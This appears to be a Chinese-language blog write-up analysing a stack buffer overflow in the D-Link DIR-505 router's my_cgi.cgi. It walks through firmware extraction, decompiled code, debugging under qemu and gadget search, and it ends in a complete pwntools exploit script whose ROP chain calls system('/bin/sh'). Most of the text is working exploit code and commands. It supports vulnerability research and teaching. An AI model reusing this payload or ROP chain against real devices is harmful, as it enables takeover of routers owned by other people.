漏洞介绍
https://www.exploit-db.com/exploits/34064
根据漏洞报告漏洞存在于/usr/bin/my_cgi.cgi中,POST请求方法中的请求体参数溢出导致的。
前置步骤
固件下载
https://files.dlink.com.au/products/DIR-505/REV_A/Firmware/v1.06b05/DIR505A1_FW106B05.bin
固件提取
提取固件中的文件系统
1
| binwalk -Me DIR505A1_FW106B05.bin
|
漏洞分析
查看漏洞程序文件格式
1
| readelf -h ./usr/bin/my_cgi.cgi
|
mips架构的大端
代码分析
漏洞程序是my_cgi.cgi
,其中导致溢出的参数是storage_path
,在IDA中搜索字符串然后交叉引用向上寻找调用函数处。
定位到了get_input_entries
函数,再向上交叉引用找到如何才能触发漏洞导致溢出。
此时在main函数当中v7是CONTENT_LENGTH,v41是初始化之后的缓冲区。猜测可能是因为CONTENT_LENGTH范围过大导致get_input_entries函数读取可以导致溢出。
gdb动态调试
选择利用qemu用户态进行模拟配合pwntools的gdb.attach进行调试
chroot .指定qemu模拟的根目录,这样才能正确寻找到lib库
1 2 3 4 5 6
| p = process(f'chroot . ./qemu-mips-static -E SCRIPT_NAME=common -E CONTENT_LENGTH={i} -E CONTENT_TYPE=x-www-form-urlencoded -E REQUEST_METHOD=POST -E REQUEST_URI=/my_cgi.cgi -E REMOTE_ADDR=127.0.0.1 -g 1234 /usr/bin/my_cgi.cgi'.split( )) gdb.attach(('127.0.0.1',1234),''' set endian big b *0x00409C58 sleep(2) ''',exe='./usr/bin/my_cgi.cgi')
|
这里注意这个程序是大端的,所以需要set endian big指定一下,不然attach调试会直接崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| int __fastcall get_input_entries(int a1, int a2) { int v4; int v5; int v6; char *IO_write_base; char *v8; char v9; int (**v10)(FILE *); int v11; int v12; int v13; int v14; int v15; int v16; char v18[1024];
v4 = 0; v5 = 0; v6 = 0; while ( a2 > 0 ) { if ( stdin->_fileno ) { IO_write_base = stdin->_IO_write_base; v8 = IO_write_base + 1; if ( IO_write_base < stdin->_IO_write_end ) { v9 = *IO_write_base; stdin->_IO_write_base = v8; goto LABEL_8; } v10 = (int (**)(FILE *))&_fgetc_unlocked; } else { v10 = &fgetc; } v9 = ((int (*)(void))v10)(); LABEL_8: if ( v9 == 61 ) { v5 = 0; v6 = 1; } else if ( v9 == 38 ) { ++v4; v5 = 0; v6 = 0; } else { if ( v6 ) { v6 = 1; *(_BYTE *)(a1 + 1061 * v4 + v5 + 36) = v9; } else { *(_BYTE *)(a1 + 1061 * v4 + v5) = v9; } ++v5; } --a2; } v11 = v4 + 1; v12 = a1; v13 = 0; do { if ( strcmp((const char *)v12, "storage_path") ) { v14 = strcmp((const char *)v12, "path"); v15 = 1024; v16 = 0; if ( !v14 ) { memset(v18, 0, sizeof(v18)); decode(v12 + 36, v18); strcpy((char *)(v12 + 36), v18); } replace_special_char(v12 + 36, v16, v15); } ++v13; v12 += 1061; } while ( v13 < v11 ); return v11; }
|
调试指定好环境变量能让main函数走到get_input_entries
函数中,参数a1
是缓冲区,参数a2
是环境变量CONTENT_LENGTH的大小。
这个函数会读取输入,读取的大小就是CONTENT_LENGTH的大小,然后将输入的数据和storage_path
字符串进行对比,如果相等函数则会直接返回到main函数中。
如果发送http数据包时让CONTENT_LENGTH的大小超过缓冲区的范围就会导致溢出,则可以控制程序流程。
gdb调试确定一下偏移为0x74918
寻找gadget
利用mipsrop寻找gadget
1 2 3
| import mipsrop mipsrop = mipsrop.MIPSROPFinder() mipsrop.stackfinders()
|
1 2 3 4 5 6 7 8 9 10 11
| # .text:0041E870 27 B2 00 78 addiu $s2, $sp, 0x98+var_20 # .text:0041E874 02 00 C8 21 move $t9, $s0 # .text:0041E878 03 20 F8 09 jalr $t9 ; sub_414218 # .text:0041E87C 02 40 20 21 move $a0, $s2
# LOAD:000149AC 27 B5 00 10 addiu $s5, $sp, 0x14C+var_13C # LOAD:000149B0 02 60 28 21 move $a1, $s3 # LOAD:000149B4 02 20 30 21 move $a2, $s1 # LOAD:000149B8 02 00 C8 21 move $t9, $s0 # LOAD:000149BC 03 20 F8 09 jalr $t9 ; mempcpy # LOAD:000149C0 02 A0 20 21 move $a0, $s5
|
构造ROP触发system(‘/bin/sh’)即可。
第二处溢出
当字符串比较没有storage_path
时,会调用执行replace_special_char函数,当此函数返回时如果缓冲区溢出就会触发栈溢出漏洞。
计算出偏移,只需要684偏移量即可劫持返回地址。同样构造ROP即可触发system(‘/bin/sh’)。
EXP利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='mips', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: i = 477608 p = process(f'chroot . ./qemu-mips-static -E SCRIPT_NAME=common -E CONTENT_LENGTH={i} -E CONTENT_TYPE=x-www-form-urlencoded -E REQUEST_METHOD=POST -E REQUEST_URI=/my_cgi.cgi -E REMOTE_ADDR=127.0.0.1 -g 1234 /usr/bin/my_cgi.cgi'.split( )) gdb.attach(('127.0.0.1',1234),''' set endian big b *0x00409C58 sleep(2) ''',exe='./usr/bin/my_cgi.cgi') elf = ELF('./usr/bin/my_cgi.cgi') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
context.endian="big" libc = ELF('./lib/libuClibc-0.9.30.so') libc_base = 0x3fef8080 - 0x26080 lg('libc_base', libc_base) system = libc_base + 0x4BC80 lg('system', system)
payload = b'storage_path=' + b'A'*(0x7490A-36) + b'A'*14 padding = p32(system) padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += p32(0x0041E870) + b'a'*0x78 + b'/bin/sh'
payload = payload + padding print(len(payload)) sl(payload)
inter()
|